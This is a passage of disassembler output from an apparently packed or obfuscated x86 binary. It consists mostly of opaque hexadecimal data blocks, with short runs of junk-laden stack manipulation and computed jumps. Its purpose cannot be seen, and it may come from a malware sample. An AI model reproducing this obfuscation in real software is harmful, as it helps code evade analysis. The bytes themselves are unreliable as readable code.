0F8B9F216h, 0A4FCC585h, 0A315B544h dd 99BD72C4h, 3B3FA167h, 48C0DC8Ch, 19ED2h, 61778300h dd 0DDFB894Ah, 0E838AC1Ch, 0CE104494h, 6CA506E6h, 59665C8Eh dd 54F464CFh, 3EA1F6C1h, 8328C34Bh, 265E7C4Eh, 0E86074E4h dd 0BD78027Ch, 0D3001A4Ch, 780243B9h, 0F0BB51BDh, 43B555C3h dd 39BD7802h, 56738B07h, 337480E2h, 0CE03C500h, 429AA717h dd 0DBC604ABh, 0C7F66673h, 1148CA68h, 64138505h, 0DEF9BD78h dd 0DEE624CDh, 0D1179876h, 33C947h, 0D27A0000h, 5D79DD48h dd 0DC5CD845h, 21B76AB1h, 0A104F2E9h, 658ED03Eh, 7965F167h dd 854EECBDh, 0CB7DE615h, 0CAAC48h, 0B89C0000h, 7969A410h dd 0C85294BDh, 4A61778Dh, 0D642CACEh, 0A64494E8h, 77DD664h dd 88FCB5EAh, 92763B70h, 0DC6E502h, 11E72BADh, 50C0289Ah dd 0A3E7F1BEh, 4494E5FBh, 1800AB4Dh, 0BAF0A0C8h, 0E0E430DAh dd 0C84C786Ch, 0F41480B4h, 3AC0FAB7h, 7E9000E8h, 0B04A8031h dd 8E8AA5BFh, 5F629CFEh, 10B89CC1h, 0BD7D96A4h, 0EAB51C94h dd 0D117D129h, 9B04ED65h, 0B943D25h, 122FB47Eh, 55745F77h dd 34Eh, 60426D8Dh, 0ECD6D934h, 59476478h, 0E8DAD529h dd 584A557Ch, 0AB56F668h, 1E68EF4h, 0AF4C38AAh, 0FADE86FCh dd 19FDCFB1h, 8D330771h, 0CDF8F542h, 0F3935A77h, 4494E881h dd 31365F77h, 0BFFBB532h, 0B1E1BF09h, 476E5457h, 367593FBh dd 57BB3D7Dh, 0DBE92A81h, 0FBD4AEFDh, 0BA52C661h, 3EA1E6F3h dd 4A426FB1h, 0BD7813D0h, 535019B9h, 52FA5EC9h, 0C74D1D5Bh dd 3DA91749h, 3B7833D5h, 775A797Fh, 0FB894A61h, 0DBF4CEDDh dd 6672E641h, 4254843Eh, 49CF5BC5h, 0A12E76C1h, 147C983Eh dd 4EBAB2EDh, 4EBD792Ah, 0F5D5FEADh, 8D8E556Dh, 535249C6h dd 0BDFF8395h, 90007814h, 3D1DBD79h, 9435C434h, 395948CBh dd 2A000000h, 79DD48D2h, 0A1BDEAD1h, 7E46C3Eh, 3CEE5AF2h dd 0ACDEBD78h, 0C355B55Eh, 7B30C73Fh, 9008842Dh, 8DBD783Ch dd 8534A4ADh, 4F48CA24h, 518229BFh, 0EA315F79h, 0E2000000h dd 0CE4A6177h, 7C865A96h, 26B4E574h, 653A972Dh, 0EBC018ACh dd 713A9E26h, 90B7E70Fh, 0DCFD280Ch, 69157583h, 0DF449479h dd 5440A209h, 25BAF7B4h, 2C28101Bh, 9F7B73F4h, 0AD4BDE83h dd 0A1BBDA5Dh, 8058D03Eh, 0EA03DD2Bh, 7561D550h, 8DABF4DDh dd 4D736BFDh, 0F75FA1C7h, 0FE089AA7h, 98A2D58Ah, 0AEF11080h dd 482DCA4Ah, 2B8F9B6h, 29AF0BC8h, 39668BF7h, 0FFC46C30h dd 8D2C1770h, 1CEh, 0E0C2ED0Dh, 6C5659B4h, 0D9C7E4F8h dd 685A55A9h, 0D8CAD5FCh, 2BD676E8h, 81660E74h, 2FCCB82Ah dd 7A5E067Ch, 997D4F31h, 8D3487F1h, 4D787542h, 0FE0F5A77h dd 701800B1h, 4494E804h, 0B2F8B2F4h, 4EBA5246h, 3E4494E8h dd 0BE50D80Ch, 5AFF2A2Ah, 0D63262C0h, 17FBEBD5h, 9488056Fh dd 0C5EA0344h, 0F4078BBDh, 3AC0FAB7h, 0DD48D21Bh, 0BDEAD179h dd 0A6D83EA1h, 3CE94F6Dh, 56F4BD78h, 24EE1D8Dh, 0ACB448CAh dd 61000000h, 894A6177h, 8C9D6FBh, 94E5CA74h, 2B9A3E44h dd 58ADC8F3h, 0CCDFFC8Ah, 0B3F5B307h, 6843A5CDh, 59EA74ABh dd 6BAEBFCEh, 6FE72104h, 5ED35CD7h, 0AA184AC1h, 38200B15h dd 4B9EA590h, 54A727C7h, 0DA609A57h, 9E2BC22Ah, 0F7135EF3h dd 0C809BFE2h, 0D040B8F2h, 60146E31h, 0B1AD1E81h, 8470FEBCh dd 0E01E9Bh, 0DFFB0000h, 6B82F2D0h, 0D6365E44h, 6777EBD5h dd 0C72A5A48h, 40B6EAD8h, 87A25CCh, 52307B5Ch, 0E2C922h dd 49377494h, 89FB8B73h, 7F428D35h, 5A773B82h, 0D1275B45h dd 0A16744A4h, 630A6DB5h, 85505F1Ah, 0FB862D73h, 7D55F3E3h dd 87FF7D79h, 44945B1Dh, 0E9EFB9EBh, 0C8264FA9h, 0E4F021E7h dd 0A439A704h, 0ABA78F9Ah, 3C35D473h, 3B37CA71h, 28E20F9Ch dd 0C7237A12h, 9FE13EACh, 25866272h, 7A31C7BBh, 38E84339h dd 4FEFDADEh, 0C726AE82h, 0A0515AB2h, 0FA9AA06Ah, 7FF3CDDEh dd 87914269h, 1FB9F607h, 6AE21BF3h, 9CEC30FEh, 307EEA62h dd 1C4E9CECh, 5F945688h, 0B8504454h, 9CEC304Ch, 30CC38D0h dd 8ABC9CECh, 0AC32C8FAh, 0FAB1479Fh, 0AFFCDC88h, 88702h dd 1910000h, 1A39BFE0h, 63775940h, 0DBFD874Ch, 5AB123D0h dd 0D334A051h, 48A91BD8h, 0C72A9A57h, 55A91BD8h, 0D12B995Ah dd 52AB19DAh, 5652B45Dh, 0C681E689h, 4, 8704EE83h, 248B2434h dd 0F4B6824h, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edi mov edi, 34087487h mov ecx, 0D2116017h sub ecx, 3D862BAFh add ecx, edi add ecx, 3D862BAFh pop edi push 479Eh mov [esp], esp add dword ptr [esp], 4 pop ebp push eax push ecx pop eax mov [ebp+8], eax pop eax push dword ptr [esp] pop ebp add esp, 4 mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_590A54 ; --------------------------------------------------------------------------- fiadd word ptr [edx] mov al, ds:0A344E5F2h mov [eax+619DE89h], edi add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0C1h dd 1D2D5373h, 0C47CD0C1h, 0D518FFB4h, 40278ED0h, 0A96999D8h dd 4B37E250h, 5E5CCEDFh, 372B0B64h, 0D1CB0A4h, 0E463E273h dd 968AEA4h, 11E1F6Ch, 0E11107B5h, 502EE77Dh, 5A28E66Ch dd 3F1BFC73h, 0B44F6238h, 0A61FD922h, 1604C373h, 0F87D367Dh dd 285B3343h, 5B6D5909h, 0E12728EAh, 0E8799C8Bh, 0Fh, 0ABE8EEh dd 133577C7h, 0CC6673B0h, 80826B61h, 0E85F42D7h, 14h, 60B34321h dd 947B51D2h, 175EABAEh, 9FA4159h, 2715B74Fh, 0D6816660h dd 0E2BBED6Ch, 613E9382h, 28C78159h, 66000059h, 2B2A19B9h dd 8BDF8BF6h, 0E1813704h, 257A432Eh, 8E9F081h, 0F38079A6h dd 0F4C0816Ah, 0F2F22A0h, 685h, 8DD28100h, 817D04C0h, 26C653C0h dd 12E938h, 0C3B70000h, 0B0850DDEh, 0A5CC6A15h, 0E9396BD6h dd 0C25243Bh, 8A370489h, 81D981DCh, 830C0B05h, 8E0F03EEh dd 4, 0FE9DB966h, 0EE94Eh, 817E0000h, 0BD605DAh, 0C74B524h dd 0E7C6F35Ah, 0A7D8FE81h, 850FFFFFh, 18h, 48A0Fh, 0BA660000h dd 35E996C0h, 45000000h, 21B31208h, 3D5A9E9Fh, 0FE9h, 0AB104900h dd 0F9AE72C8h, 0D21F5C18h, 81BEE0C6h, 0FFFF56E9h, 0F2183FFFh dd 4A50710Dh, 71531DF6h, 959EA0BEh, 0D1719CB9h, 21E9h dd 91234400h, 38h, 6 dup(0) dd 0B4E90000h, 66000004h, 7A607ED8h, 624866E8h, 7C5E7CCEh dd 634565EBh, 6D607ED6h, 381CA9C2h, 2A28B89Ah, 3711A68Ch dd 2C20B197h, 6B9AC58Eh, 16B794EFh, 0BDFD61B8h, 6D51E06Ch dd 745674E0h, 664C6BE1h, 0F4737DD7h, 0EECD7FD2h, 76C396C9h dd 4466AC7Ch, 8B0A5BF1h, 0EA0A241h, 345EF140h, 0F25AEB97h dd 315BEDD5h, 9E2962BCh, 8BEA2B10h, 9A2D1341h, 952A10AEh dd 9E2D5EF0h, 0A3B2D3B2h, 26FC7BA4h, 0C21C608h, 104292C4h dd 68E10B41h, 0EC5D25BAh, 1E01147Dh, 2280E1h, 0C58BDCADh dd 0AC265774h, 75109E73h, 41107110h, 9E7451B0h, 0CB40CA10h dd 4155D3A1h, 3E8DB5A3h, 6853CA12h, 64000000h, 26D9DA3Bh dd 636DCF61h, 0E06CBDF9h, 0B4A42051h, 0C619109Dh, 0A9BC73E1h dd 9E84DA34h, 3D62A310h, 0E9F3E4E7h, 32022A9Fh, 9AA34196h dd 1, 0E16DBDC0h, 0ACDC6E50h, 0D6D11547h, 0DC6D0C5Fh, 582169FAh dd 466AA82Ch, 3EC743B2h, 0D90109Eh, 0C41E4F6Ch, 8D109E3Eh dd 87D86908h, 72C46E0Bh, 89DCFEDCh, 0BD45E3C3h, 314D1E70h dd 0A6B924C3h, 25476C7h, 86D9FD4Ch, 14F73C2h, 0A2CC0051h dd 3CD63C29h, 0CBC613BFh, 17B7D67Eh, 6AE41936h, 9E109DCDh dd 93F2430Dh, 557741C4h, 0D5F94804h, 5476C783h, 0D6F849FFh dd 937BCA84h, 489184F5h, 411F4DBEh, 0E9A341F0h, 60h, 0E470BD4Dh dd 6BDF7155h, 700989DAh, 0C2E173C2h, 0A83C4DE0h, 137293A2h dd 0DBF9C342h, 5DEC68F5h, 0D766EA79h, 0E507840Eh, 0A341E807h dd 46AFh, 0E0C29300h, 95B7014Fh, 193D0C48h, 0E070BFC6h dd 3F8EB081h, 0B3024415h, 0D33F90A1h, 666C4F36h, 0C4901DD5h dd 77E6C9E6h, 109DB51Bh, 0BD17A1E4h, 50E16DBDh, 9DB4A021h dd 791910h, 41EA1CDCh, 1C4A3h, 0C29A0000h, 0B51670E5h dd 0BEDF109Dh, 0F4902436h, 76F5091Bh, 96355455h, 0A12B21B4h dd 9FAD0042h, 74EE1F40h, 3D109E30h, 7B5110D8h, 76CA7811h dd 0AFBAF6D4h, 86CFF8D7h, 781D7AE2h, 0BB2A27B1h, 168F1AEAh dd 0E7EB7A9Bh, 0F1D9F656h, 0F5E3ED61h, 0EDCA82D3h, 8DDC78C5h dd 0D425C40Ch, 0A8B1978h, 63496EB1h, 9716A104h, 0F18A04CCh dd 7E5CF041h, 0F243095Ch, 7ECF7DD0h, 0D181FA98h, 56EECC80h dd 5AACAC86h, 5EF04268h, 1020F96h, 0A3330000h, 7AEBC8BEh dd 168EBC37h, 0DFFC4DD0h, 464FC6F8h, 7D47DD9Bh, 64420A5Bh dd 57E55C43h, 0A755702Fh, 71553414h, 0BBDA6BDFh, 0BE8E1F31h dd 0E2A93921h, 419EFF51h, 8A7052CCh, 0F2FA1B0Ah, 4EFE4F73h dd 53F74971h, 9634DA89h, 70DC6D25h, 513AFA52h, 38A25AADh dd 35000000h, 0C594C00Dh, 7B1A2E81h, 0BCA3E771h, 0FA74E9C6h dd 736F624Bh, 0FE4FFF4Fh, 7598559Fh, 0B53995E4h, 513B909Dh dd 8BF7F0B8h, 4C3DB92Ch, 0C746EF62h, 72C8E7h, 0A3660000h dd 7AEBC8BEh, 168EA18Fh, 0AC265778h, 750A8AA0h, 0DEE07110h dd 84A1014Bh, 0F3420C9Eh, 0B5084A92h, 0BE123897h, 54A5448Ch dd 0A8AA0F3h, 752D9E34h, 4E4A68E4h, 73547313h, 864EFE4Fh dd 713F0807h, 0A1B0D510h, 307D0C9Dh, 0E0F44524h, 164B1DAEh dd 0DC6F5370h, 17BCDD6Ch, 228F2E8Dh, 2734BC1Ah, 5847D9B6h dd 0CCA1A60Ah, 0B1C63CB1h, 0FB557514h, 0EBC8BEA3h, 84549D7Ah dd 1A2B6A16h, 7A7A538h, 4F820126h, 1943B592h, 202C7DCFh dd 3E0E9F83h, 12C637B6h, 4B27FBCCh, 0B19B2E14h, 2D5761A0h dd 3353E69Ch, 1ACEDF32h, 0F5D5B4F9h, 0B80782D3h, 0F5DAF998h dd 83152BFFh, 0D6955F41h, 5CED63F4h, 0D564E67Ah, 722A64F1h dd 4D339EB7h, 5B7FCEAFh, 81F1420Ah, 45C71D08h, 0A1ABFEB4h dd 0BE8E1F01h, 0A5A93921h, 391CC1Bh, 2D000000h, 71BDE17Bh dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 56221524h, 0C681E689h dd 4, 4BF57h, 0FE290000h, 2434875Fh, 7C6C685Ch, 14890000h dd 10056824h, 34890000h, 43BF5724h, 47640716h, 2FD3EF81h dd 0F7813475h, 11D8380Dh, 538BBA52h, 0D7314405h, 8E7C15Ah dd 1657EF81h, 0FA894674h, 4EC815Fh, 89000000h, 4812424h dd 424h, 0B8505E00h, 8, 1089F001h, 8324048Bh, 348B04C4h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch dd 4C4815Ah, 0E9000000h, 0FFF99C08h, 0B8AFC356h, 619E4C9h dd 0E0FFC503h, 259E9D1h, 36A94A46h, 703D3D76h, 0FACE833h dd 490F8577h, 6CB50F31h, 658BFED2h, 5533B7D8h, 3E1418D9h dd 722DEACEh, 32E9h, 0B92BDE00h, 8, 0Ah dup(0) dd 0E9000000h, 4B5h, 19E6C668h, 9B8EE906h, 3E68FFF9h, 0E90619E7h dd 0FFF99B84h, 19E8CA68h, 9B7AE906h, 19A5FFF9h, 2BBB9D3Dh dd 0B9D8323h, 2AB99F3Fh, 13A28826h, 0FD326141h, 0B3134190h dd 0B3133F8Dh, 0B00E3A8Dh, 0B515378Ah, 0D832A3ACh, 0A116B799h dd 70BDD688h, 0E07155E4h, 0F1684F6Ch, 8DC71696h, 0E215F826h dd 0A5BCFCDAh, 3693C2E1h, 0FF168F19h, 0AF90CF9Eh, 45143C8Bh dd 173995C4h, 0BD020A8Bh, 6BD89B30h, 0CA127368h, 8B1CDB3Bh dd 63D8320Ah, 0AC827B39h, 303E35Ah, 0B9770000h, 0DBABB6DFh dd 0A5E889FCh, 3E69168Eh, 0CD31E8DBh, 2AB701A5h, 0F3D708EBh dd 3958E961h, 3E6950AFh, 469BE7E5h, 0FFF26340h, 0F81315A9h dd 0C0143695h, 0A73D99CCh, 87060711h, 0AE3657E6h, 9EE8013Fh dd 80F9CC41h, 55720D02h, 0FE6CA620h, 4F2E6F00h, 55F74A70h dd 4A025375h, 82B2AA17h, 3510D776h, 333h, 0BF1F3783h, 0A5054999h dd 0B9193183h, 0AA084897h, 0BB1B3988h, 0F746A788h, 0D5B7D5Dh dd 0F0436545h, 5587A58h, 755A6747h, 0B79A8600h, 68DA4F16h dd 0EBC8BEA3h, 8451B17Ah, 98375616h, 0DB6E23B2h, 1FB8F5ABh dd 0ABCAE310h, 0BD1A7B9Ah, 3B0A4695h, 0E664F8DAh, 0B0AE3657h dd 48193B8Ah, 0B595270Bh, 0A7BDC2Bh, 2ABBE949h, 0E081D15Fh dd 8B91A6Dh, 59743380h, 2BBh, 0C7E76FFBh, 0DDFD51E1h, 0C1E169FBh dd 0A20050DFh, 83233180h, 0DF6E9F90h, 0E5735575h, 0D86B4D6Dh dd 0DD705270h, 5D824F6Fh, 0B79BAE28h, 40227716h, 6602BEA3h dd 9D87A276h, 0B6A4644Bh, 4B7D7B5Ch, 3BAA8D2Ah, 109E83DFh dd 7E5B65A8h, 63E77961h, 20412A59h, 0E9E61685h, 849E1A74h dd 3DCE30Ah, 0AFDA0DD8h, 39086908h, 84124AC8h, 0D465A10Ah dd 25C8FC23h, 6A4A7450h, 0B03AFA62h, 0A2A25AA7h, 0B8000001h dd 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 0AD295C7Bh, 76109DB4h dd 0C4BBB017h, 3632A84Dh, 8D225FAEh, 6AAB168Fh, 892CAADBh dd 7830A8Bh, 328A4A72h, 466C5AACh, 0C90D5CF6h, 786D77Bh dd 43475E66h, 98000000h, 0A83022B2h, 4CE0C22Eh, 92A3AB3Bh dd 1FB01273h, 0D7E12031h, 0A30086DBh, 8E985332h, 50E12416h dd 8A87A121h, 0FD8EF80Ah, 0AD3901CFh, 0D9A95Ah, 280A0000h dd 0C86F793h, 0D50A8A94h, 180D1B0h, 6CBD1DB7h, 0B557B322h dd 0FD20109Dh, 0B18ECD9Ch, 9DB4E23Ch, 75A4AB10h, 60FC8F9Bh dd 2B2DB7D6h, 0A3A7B69Eh, 2C2B3A12h, 0C899B306h, 0FC4D7F49h dd 61037250h, 0E1109E70h, 0E2DEFC50h, 0FFE0FF87h, 0D7FF8DDBh dd 0E4D5298Fh, 8AC998F9h, 9EB0FF5Bh, 2445C810h, 0ED76D9Ch dd 0B1D41689h, 0F0A13012h, 3F5EEF5Dh, 33024A9Bh, 2D13B3D2h dd 4932EEA0h, 0BBD40FE6h, 0E485C517h, 0DF42071h, 4B862580h dd 12Fh, 0BB1B3B87h, 0A9094595h, 0B5153587h, 0AE0C4493h dd 0B7173D8Ch, 0F342AB84h, 0D15F4161h, 0ACFF2181h, 0C91C3E9Ch dd 39162383h, 0B79D4AC4h, 64FE1316h, 0B72670BDh, 109DB55Bh dd 4211418Fh, 0FE4EDFC3h, 0C8193F9Fh, 0BD8C2684h, 0BF8B1D6Ch dd 3F0E6FAEh, 2482CA1Bh, 2A89FDE4h, 8EFBE6BBh, 617E9F16h dd 6AA2EC79h, 3317A9B9h, 0C35E138Ch, 8B1D05A2h, 506FAEBFh dd 8A37C11Dh, 0C10B8A0Ah, 37E26093h, 8B1E0A8Ah, 72BFE1C1h dd 8BDAC5E2h, 2F5B79E4h, 0DBF6757Fh, 97h, 0C8BEA377h, 51AD7AEBh dd 755A1684h, 91F3B71Dh, 93305123h, 0AA3222AFh, 0A5331C3Bh dd 75A15F33h, 0C9DAF39h, 5A456240h, 0D55E4EB2h, 0E5E7F11Ah dd 6A69F854h, 756F448h, 0EB3995C8h, 83020A83h, 4DABDAE2h dd 0D61823ACh, 0E2731F9Ch, 0D3664C6Ah, 0CCEBE879h, 0E32A3D99h dd 3D8706FBh, 3EBECC1Bh, 0CB87D525h, 1AA1BCE4h, 0E2765C7Bh dd 30B8D968h, 0A1BE9BB1h, 0E3A3F26Ch, 925ABBFBh, 7ECF83F8h dd 77CAF0CEh, 0C4984D5h, 0E5000000h, 0B1795E7Bh, 0DC994F71h dd 0BD2DA731h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah dd 66A368h, 240C8900h, 763768h, 24348900h, 2D4568h, 240C8900h dd 0E5E8B951h, 0CE890619h, 83240C8Bh, 8B5404C4h, 0C481240Ch dd 4, 3F7A68h, 24348900h, 0FF08418Fh, 83592434h, 348B04C4h dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 96EAE95Ch dd 2895FFF9h, 86A82B8Eh, 0EA1EB8F6h, 0C5030619h, 0F12CE0FFh dd 0DCE1270Bh, 29157121h, 7921086Bh, 15E90333h, 0A7F37C56h dd 2D1F6B2Dh, 152374C6h, 6C44F5Dh, 86834982h, 1EFC0AF0h dd 0F35E5052h, 0F162081Ah, 657A7146h, 9AFD7FC7h, 36262163h dd 0B45F5F6Ch, 0E21466BCh, 0B5405A68h, 0C73E5AE9h, 21124D1Ah dd 76595204h, 12B61F98h, 0E07B4DDBh, 79B30A2Fh, 0CAB8610Bh dd 0A5C419F6h, 3063E84h, 2FA41166h, 8D8D2C03h, 619EBD7h dd 8967C080h, 131BBD8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 4B8A1EADh, 9D8BD301h dd 6130B35h, 18DD85C7h, 6B400613h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C7BB54C3h dd 13305585h, 6, 0C19D0900h, 8B06132Eh, 1331A595h, 1B5FF06h dd 6A061321h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 8101C350h, 7B5B2AFBh, 0CB81A3A6h dd 43D57B78h, 0FFD68B66h, 131D8995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 74F952E6h dd 635E5F90h, 2825958Bh, 6A0613h, 0DA995FFh, 0C08B0613h dd 1F4B38EBh, 8F2495CBh, 1D95DA31h, 24036B30h, 0B58A086Dh dd 0D50225FAh, 788A6D3Eh, 0BF00AFAh, 0A192C12Eh, 1CC58E9Ah dd 9E25CE92h, 0D9D7D840h, 75968FF3h, 82598655h, 8D8DE4CFh dd 619ECDEh, 35607BB8h, 659D3178h, 89061316h, 131BBD8Dh dd 0EDB58906h, 8B06131Fh, 0DD85C7C3h, 50061318h, 0BA000066h dd 421A393Dh, 305585C7h, 613h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 408AC5C3h dd 0AE9h, 6BCAF100h, 45B474BDh, 0FFE9C8E8h, 1331EDB5h dd 8995FF06h, 6A06131Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8B14C357h, 130D11B5h dd 14E806h, 0C33F0000h, 8DB49C66h, 0FDD8B6A4h, 383EA6CCh dd 0D7179C77h, 0E957829Eh, 0Fh, 0B91CDA6Eh, 0FA1377B5h dd 0CBCFCF13h, 5EAE1265h, 0FF006A58h, 130DA995h, 0EBC08B06h dd 0F4B03E0Ch, 0DD37AE68h, 2F44A154h, 10E834h, 8B690000h dd 0D86B2786h, 98E8F518h, 7ACDCB57h, 0F98B905Eh, 0D7C18159h dd 68000064h, 0 dd 0CE8h, 620F1600h, 276FFEC1h, 0C5C541CAh, 0E5BD8901h dd 5B06131Dh, 0E7816658h, 34FF9E04h, 0D3BF0F08h, 0E1BB665Eh dd 2CC681ABh, 0E8160661h, 7, 0D6F8C4BAh, 333DB2C0h, 1322C59Dh dd 0C6815B06h, 4A1B2C11h, 2179BD89h, 0F6810613h, 561568A4h dd 25EDBF66h, 48FF956h, 0C3816601h, 0E8816F59h, 0D5EC05Fh dd 61DBD8Bh, 0C0810613h, 0D5EC05Bh, 359D8B57h, 5B06130Dh dd 9BD0F881h, 850FFFFFh, 0FFFFFF96h, 5AEB8166h, 12E8A0h dd 57F40000h, 3C80D107h, 526C7F93h, 0C7B63D17h, 0DAAA8B9Dh dd 0D820Fh, 8E90000h, 0A9000000h, 1E5E4074h, 58F1E435h dd 81E6CD80h, 734DC0h, 78BB6600h, 60F6331Eh, 0C480F18Bh dd 34FF61F4h, 0E1B3BA06h, 0E85F2371h, 14h, 68F275F5h, 63CF57ECh dd 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 28F0Fh, 61600000h dd 0E2F78159h, 806D3B01h, 0EF81A0DEh, 0F30C659h, 38A0Fh dd 0BF0F0000h, 0A6F781DEh, 8B3E2202h, 303C89DAh, 1965950Bh dd 0D1810613h, 2B9B2005h, 8904EE83h, 130B6D85h, 90FE8106h dd 0FFFFF8Dh, 1385h, 0D3816600h, 2CE9675Eh, 0A6000000h dd 919CD966h, 6FBB3B26h, 0AE9h, 7C1CAF00h, 4E6F6FF6h, 0E9C14829h dd 0FFFFFF6Ah, 0A3D43EBh, 50FB9799h, 8569ED94h, 0E980C094h dd 13h, 41BB5FE3h, 3 dup(0) dd 0E9000000h, 50Fh, 2383D35Fh, 1A1ADFDh, 1DBD8D1Fh, 6A4AC3Bh dd 1FBF9524h, 5BEA032Ch, 69F7D9F9h, 54E7C9E9h, 61F4D6F4h dd 0E1FECBEBh, 0B7A332ACh, 0BCA6FB16h, 1670E5C2h, 0DF109DB5h dd 912436BEh, 19A8AABBh, 24B59B3Bh, 19A78B28h, 0E30AF39h dd 7EC091BBh, 0C013222Ch, 8351B89Fh, 382C3B3h, 8BA4FB9h dd 113797B5h, 62C8ABEh, 84C697B1h, 0B4F1E34h, 80C293BBh dd 2BBB1F2Dh, 3E4CD65Dh, 0ACCD8D11h, 0A318BA9Dh, 57F41EB2h dd 923018ABh, 81798AB5h, 89EE4187h, 90BC0D3Fh, 9E320C33h dd 408D8EDAh, 3998E978h, 0B2109E34h, 0BB79A318h, 23A34195h dd 68h, 133D8EB4h, 5FF9C342h, 0C3E06CBDh, 6CFD4DDFh, 0B544A32Dh dd 109DB557h, 9FCD3ECCh, 0A341EAD1h, 0C3C8FB3h, 273618AAh dd 1C7DEE6h, 9B000000h, 50E16DBDh, 4EFE4F73h, 4569EFFh dd 203F9CB2h, 9DB571EDh, 3915A510h, 0B694282Ah, 0BD0766A7h dd 0B59B2C2Eh, 4ABF33A4h, 0AB084698h, 45143487h, 0FCDEFCC4h dd 65C3E369h, 55E470BDh, 1AAAE171h, 2085938h, 0F23FF388h dd 0CB5E4462h, 3A8EB081h, 0EE184110h, 0E8712F5Dh, 8CD9A341h dd 7D000000h, 55E470BDh, 16A8DF71h, 0C3E82938h, 0C1FE8502h dd 0ED7C1DCAh, 0D483F87Ah, 62F35DEEh, 2AB79923h, 17A68C2Ah dd 4367E97Ah, 8B0A5BF3h, 0E8775BEAh, 0C2E846A2h, 0C9A8D126h dd 0A4157178h, 41A8A878h, 7A10A3h, 7FA30000h, 2E7D2131h dd 0EAF21322h, 0E470BD70h, 0A4DE7155h, 0AEDF673Dh, 109E1B34h dd 0C53398FDh, 5CEE426Fh, 0CA0D5C3Dh, 4E572A15h, 1169F6C5h dd 0E6EE8FC3h, 0D6630FACh, 0F67516B8h, 1C7D0651h, 489BBFh dd 0BD409AB8h, 0E0C2E16Dh, 0E30014Fh, 0EAF293BDh, 0A7B5C7Bh dd 109DB490h, 3F923459h, 13DD3C0Dh, 9DB51574h, 87048E10h dd 41EA9765h, 63FA3h, 0BAA00000h, 449E2628h, 8EDF6BBDh dd 253F94Ch, 7B27A4CEh, 454161E9h, 6A4D6A1Ch, 9DB49FFBh dd 0D3626810h, 0FBD8E081h, 8EB19B8Ah, 78C94C16h, 6A490356h dd 958F648h, 30124088h, 6F9EAF9Dh, 0A8AAEF1h, 5F13A82Ah dd 7A607ECEh, 0F2D465E7h, 0B65CED5Fh, 62F39F1Ch, 0A070CCEAh dd 85AAD10h, 15Bh, 0C8BEA32Eh, 0BC377AEBh, 4DD0168Eh, 0C587DAFCh dd 0DA72C3E5h, 56F6478Bh, 0F891FF07h, 0A1FD704Fh, 6A0A8AA5h dd 1EAFA12Bh, 6434902Eh, 0CC5AAD1Bh, 51h, 0C6BCA372h, 4BFA74E9h dd 82036F62h, 9ADAFA25h, 0E26DF826h, 664C8BDAh, 13727AD4h dd 909EA3B7h, 0C1345AEBh, 909EA445h, 5FEE8F0Eh, 37A6EC7Bh dd 909EA3DBh, 310061A4h, 1E07840Eh, 0A573088Ah, 7AEBC8BAh dd 0EF633B00h, 0B268409h, 0D7h, 4CE0C2A7h, 0FD706FFEh dd 109DB4A1h, 824A2B6Ah, 7C5B2B36h, 8EA0FC09h, 8DDAE516h dd 3E2B7BEAh, 0F2DDFA9Bh, 0D8C6534Ah, 7D2F3C40h, 0C7C003D9h dd 90CF1EA6h, 91E43EAFh, 68AD0A8Ah, 91C01A4Bh, 4890A8Ah dd 3F479ABCh, 7D174F05h, 0A6046526h, 285D3184h, 0A89EAAEh dd 0E6771677h, 89EB3497h, 88AA750Ah, 44CE1634h, 0A73A20C7h dd 6B7594A5h, 94B6D869h, 0FE58093Fh, 0C70A89E9h, 7BD16446h dd 0EDCAABEAh, 14DC78C5h, 0E79FCAC6h, 8FBF95C8h, 0C6EC1070h dd 988D973h, 8F2022BFh, 91A0AAFEh, 0C1401170h, 1CAD91A0h dd 0C12B2130h, 4DC09F48h, 46FFBD1h, 0D48EB59Ah, 738DB86h dd 0D6AA4166h, 99ED55Ah, 186E73BFh, 44497BBh, 7A6E9FBCh dd 370A569Ch, 0A35AF8D6h, 6CC802BEh, 17E244h, 7C46909Bh dd 0ADCCC3FEh, 0A809DF0Eh, 47C61684h, 0CB81D4F6h, 0D874C5EBh dd 0C686D7FBh, 0D31E6FFEh, 78512577h, 80D181FAh, 0DD113706h dd 0A9C8A51Ah, 93DE250Ah, 889B8436h, 0E8CF2C07h, 17A1CF39h dd 0A1361C39h, 507796A7h, 0DDE1072Fh, 0E5E7F1E7h, 6569F854h dd 0F5EB7AD6h, 1C76E7C8h, 50C2E0EEh, 0C50251FFh, 0E0EE3690h dd 0FF9EFFC2h, 741E9BF5h, 6B4C6BE1h, 0E0EDA0FAh, 3F87D1C2h dd 0BD012195h, 341AACAEh, 3B85E425h, 0A2AA3B1Dh, 0BF8B1D05h dd 39BB635h, 37000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh dd 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h dd 2ABC9EAFh, 53221524h, 0C381E389h, 4, 3304EB83h, 1C31241Ch dd 241C3324h, 21F7685Ch, 2C890000h, 59BA6824h, 1C890000h dd 3EB95124h, 833F4115h, 0C18101E9h, 0C6D8D965h, 5459CD89h dd 81241C8Bh, 4C4h, 8BA5200h, 1000000h, 2C8155DAh, 0C960CB24h dd 81028F62h, 0C960CB02h, 34FF5A62h, 0C4815B24h, 4, 57242C8Bh dd 0C781E789h, 4, 